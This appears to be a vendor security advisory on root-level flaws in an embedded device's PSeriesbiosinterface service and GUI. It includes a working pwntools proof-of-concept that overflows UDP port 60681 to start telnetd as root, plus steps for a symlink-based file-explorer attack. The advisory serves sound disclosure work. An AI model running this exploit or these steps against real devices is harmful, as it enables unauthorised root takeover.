1) Unauthenticated Buffer Overflow (CVE-2025-9962)
A buffer overflow vulnerability exists in the binary PSeriesbiosinterface, which allows unauthenticated attacker to gain remote code execution as root over the network.
2) Directory Traversal via Symlink (CVE-2025-9963)
A directory traversal vulnerability was identified in the file-explorer functionality of the device. An attacker can use this vulnerability to read and write system-wide files and configurations as user “root”.
3) Root User Weak Authentication (CVE-2025-9964)
The root user does not have a configured password. Allowing attacker to login with access to a console to login with an empty string.
4) UDP Service Weak Authentication (CVE-2025-9965)
The service listening on 60681/UDP is responsible for copying applications to the device. As the service does not require authentication, an attacker can upload and download any application from and to the device.
5) Execution with Unnecessary Privileges (CVE-2025-9966)
The processes running on the device run mostly with elevated privileges, which increases the attack surface of the device.
6) Missing Protection Mechanisms
Multiple binaries on the device are missing basic protection mechanisms like stack canaries, pie, and RELRO.
The service running on 60681/UDP (Pseriesbiosinterface) is vulnerable to a stack based buffer overflow vulnerability. An unauthenticated attacker can exploit this issue to gain remote code execution as root. The following python PoC can be used to start a telnet server on the device.
#!/bin/env python3
# fitfrost4 <S.Dietz>
from pwn import *
p = remote(args.IP, 60681, typ='udp')
r6_pos = 112
pc_pos = 136
sp_pos = 576
system_call = 0x0002e728
# 0x000ef2ce (0x000ef2cf): add r0, sp, #0x1b4; bx r6;
buf = flat({
r6_pos: p32(system_call),
pc_pos: p32(0x000ef2cf),
sp_pos: b"/usr/sbin/telnetd &\00"
})
log.info(hexdump(buf))
p.send(buf)
The root cause of this issue is the usage of an unchecked size from QUdpSocket::pendingDatagramSize() in client::readDatagram(). The following decomp makes the issue more clear:
00058868 while (true)
00058868 this->datagram
0005886c r0_4 = QUdpSocket::hasPendingDatagrams()
0005886c
00058874 if (r0_4 == 0)
00058874 break
00058874
0005883c this->datagram
00058840 uint16_t* size = QUdpSocket::pendingDatagramSize()
00058848 unimplemented {vdup.32 d16, r0}
00058854 unimplemented {vshr.s64 d16, d16, #0x20}
00058858 int16_t* var_10c_1 = &var_fa
0005885c unimplemented {vmov r2, r3, d16}
00058864 QUdpSocket::readDatagram(this->datagram, &var_f8, &var_8c, size)
An physical attacker can create an ext2 partition on a flash drive and add a symlink to / in order to abuse the file-explorer feature of the GUI to modify system-wide configuration files.
- Create and upload an application with iFace Designer.
The app should contain a button to spawn the file-explorer.
- Format and create a symlink to “/”.
- Use the copy/paste functionality to modify the filesystem as root.
